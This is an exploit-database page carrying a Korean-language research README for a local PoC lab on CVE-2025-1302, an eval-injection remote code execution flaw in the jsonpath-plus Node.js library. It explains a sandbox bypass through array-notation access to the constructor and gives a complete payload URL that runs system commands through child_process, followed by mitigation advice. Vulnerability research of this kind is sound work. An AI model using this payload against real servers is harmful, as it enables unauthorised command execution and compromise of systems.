Share
## https://sploitus.com/exploit?id=7D11D68B-6D2A-58D8-B801-C9A113644967
# Research: jsonpath-plus RCE (CVE-2025-1302) Analysis

![Security Research](https://img.shields.io/badge/Research-Security-red) ![Node.js](https://img.shields.io/badge/Node.js-18-green) ![CVE](https://img.shields.io/badge/CVE--2025--1302-Critical-orange)

## ν”„λ‘œμ νŠΈ μ†Œκ°œ (Project Overview)

λ³Έ ν”„λ‘œμ νŠΈλŠ” 널리 μ‚¬μš©λ˜λŠ” Node.js 라이브러리인 **jsonpath-plus**μ—μ„œ 발견된 원격 μ½”λ“œ μ‹€ν–‰(RCE) 취약점인 **CVE-2025-1302**λ₯Ό μ—°κ΅¬ν•˜κ³  μ‹œμ—°ν•˜κΈ° μœ„ν•΄ κ΅¬μΆ•λœ **μ—°κ΅¬μš© PoC(Proof of Concept) ν™˜κ²½**μž…λ‹ˆλ‹€.

이 취약점은 JSON 데이터λ₯Ό μΏΌλ¦¬ν•˜λŠ” κ³Όμ •μ—μ„œ μ•ˆμ „ν•˜μ§€ μ•Šμ€ **Evaluate** κΈ°λŠ₯을 기본적으둜 ν—ˆμš©ν•¨μœΌλ‘œμ¨ λ°œμƒν•©λ‹ˆλ‹€. λ³Έ ν”„λ‘œμ νŠΈλŠ” μ·¨μ•½ν•œ λ²„μ „μ˜ 라이브러리λ₯Ό μ‚¬μš©ν•˜μ—¬ κ³΅κ²©μžκ°€ μ‘°μž‘λœ 쿼리λ₯Ό 톡해 μ„œλ²„μ˜ μ‹œμŠ€ν…œ λͺ…λ Ήμ–΄λ₯Ό μ‹€ν–‰ν•˜λŠ” μ‹œλ‚˜λ¦¬μ˜€λ₯Ό κ΅¬ν˜„ν•˜μ˜€μŠ΅λ‹ˆλ‹€.

### 연ꡬ λͺ©ν‘œ
1. **JSONPath** 쿼리 μ—”μ§„μ˜ λ™μž‘ 원리 및 ν•„ν„° ν‘œν˜„μ‹ 이해
2. JavaScript의 `eval` 및 `Function` μƒμ„±μžλ₯Ό ν†΅ν•œ **Code Injection** 기법 뢄석
3. Node.js ν™˜κ²½μ—μ„œμ˜ RCE 곡격 벑터 및 μƒŒλ“œλ°•μŠ€ 우회 기법 검증

---

## 기술 μŠ€νƒ (Tech Stack)

| ꡬ뢄 | μŠ€νƒ | 버전 | λΉ„κ³  |
| :--- | :--- | :--- | :--- |
| **Runtime** | Node.js | `18` | Application Runtime |
| **Library** | jsonpath-plus | `10.2.0` | **Vulnerable Version** |
| **Framework** | Express | `4.18.2` | Web Server |
| **Attack Vector** | JSONPath Injection | - | Eval Injection |

---

## 취약점 뢄석 λ³΄κ³ μ„œ (Vulnerability Report)

λ³Έ ν”„λ‘œμ νŠΈμ—μ„œ λΆ„μ„ν•œ 핡심 취약점은 λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€.

### 1. JSONPath Eval Injection
*   **CVE-2025-1302**
*   **μ„€λͺ…**: `jsonpath-plus` 라이브러리의 10.3.0 이전 버전은 ν•„ν„° ν‘œν˜„μ‹ `[?(...)]`을 μ²˜λ¦¬ν•  λ•Œ λ‚΄λΆ€μ μœΌλ‘œ JavaScript μ—”μ§„μ˜ `eval`κ³Ό μœ μ‚¬ν•œ λ©”μ»€λ‹ˆμ¦˜μ„ μ‚¬μš©ν•©λ‹ˆλ‹€. μž…λ ₯값에 λŒ€ν•œ 검증이 λ―Έν‘ν•˜μ—¬, κ³΅κ²©μžκ°€ μ•…μ„± 슀크립트λ₯Ό μ£Όμž…ν•˜λ©΄ μƒŒλ“œλ°•μŠ€λ₯Ό λ²—μ–΄λ‚˜ μž„μ˜μ˜ μ½”λ“œλ₯Ό μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
*   **μœ„ν—˜λ„**: **Critical (Remote Code Execution)**
*   **κ΅¬ν˜„ μœ„μΉ˜**: [μ·¨μ•½ν•œ μ„œλ²„](server.js) (`server.js`)

### 2. Sandbox Breakout via Array Notation Bypass
*   **Methodology**
*   **μ„€λͺ…**: 10.2.0 λ²„μ „μ—μ„œ μΆ”κ°€λœ `BLOCKED_PROTO_PROPERTIES` 필터링 λ‘œμ§μ„ λ°°μ—΄ ν‘œκΈ°λ²•(`[["constructor"]]`)을 μ‚¬μš©ν•˜μ—¬ μš°νšŒν•˜κ³ , 이λ₯Ό 톡해 μƒμ„±μžμ— μ ‘κ·Ό, `child_process` 읡λͺ… ν•¨μˆ˜λ₯Ό μ‹€ν–‰ν•˜λŠ” κΈ°λ²•μž…λ‹ˆλ‹€.
*   **Payload μ˜ˆμ‹œ**: `$.[?(@[["constructor"]][["constructor"]]("return process...execSync('id')")())]`

---

## μ‹€ν–‰ 및 검증 (How to Reproduce)

연ꡬ 및 검증을 μœ„ν•΄ 격리된 둜컬 ν™˜κ²½μ—μ„œ μ‹€ν–‰ν•˜λŠ” 것을 ꢌμž₯ν•©λ‹ˆλ‹€.

```bash
# 1. μ»¨ν…Œμ΄λ„ˆ μ‹€ν–‰
docker-compose up --build
```

1.  **Normal Query**: `http://localhost:3002/query?path=$.store.book[*].title` (정상 쑰회)
2.  **Exploit Simulation**:
    *   λΈŒλΌμš°μ € λ˜λŠ” μ›Ή ν΄λΌμ΄μ–ΈνŠΈλ‘œ μ•„λž˜ URL에 접속:
    ```
    http://localhost:3002/query?path=$.[?(@[["constructor"]][["constructor"]]("throw new Error(process.mainModule.require('child_process').execSync('id').toString())")())]
    ```
    *   **κ²°κ³Ό**: μ„œλ²„ 응닡 결과에 μ—λŸ¬ λ©”μ‹œμ§€λ‘œ 감싸진 `id` λͺ…λ Ήμ–΄μ˜ μ‹€ν–‰ κ²°κ³Ό(`uid=0(root)...`)κ°€ λ°˜ν™˜λ¨.

---

## λŒ€μ‘ λ°©μ•ˆ (Mitigation)

*   **라이브러리 μ—…λ°μ΄νŠΈ**: `jsonpath-plus` 버전을 **10.3.0 이상**으둜 μ—…λ°μ΄νŠΈν•©λ‹ˆλ‹€.
*   **Eval λΉ„ν™œμ„±ν™”**: μ—…λ°μ΄νŠΈκ°€ λΆˆκ°€λŠ₯ν•œ 경우, μ˜΅μ…˜μ—μ„œ `eval` κΈ°λŠ₯을 λͺ…μ‹œμ μœΌλ‘œ λΉ„ν™œμ„±ν™”ν•΄μ•Ό ν•˜μ§€λ§Œ, 근본적인 해결을 μœ„ν•΄ 패치된 버전을 μ‚¬μš©ν•˜λŠ” 것이 ꢌμž₯λ©λ‹ˆλ‹€.
*   **μž…λ ₯κ°’ 검증**: μ‚¬μš©μžλ‘œλΆ€ν„° μž…λ ₯받은 JSONPath 쿼리 λ¬Έμžμ—΄μ— λŒ€ν•΄ μ—„κ²©ν•œ ν™”μ΄νŠΈλ¦¬μŠ€νŠΈ 검증을 μˆ˜ν–‰ν•©λ‹ˆλ‹€.

---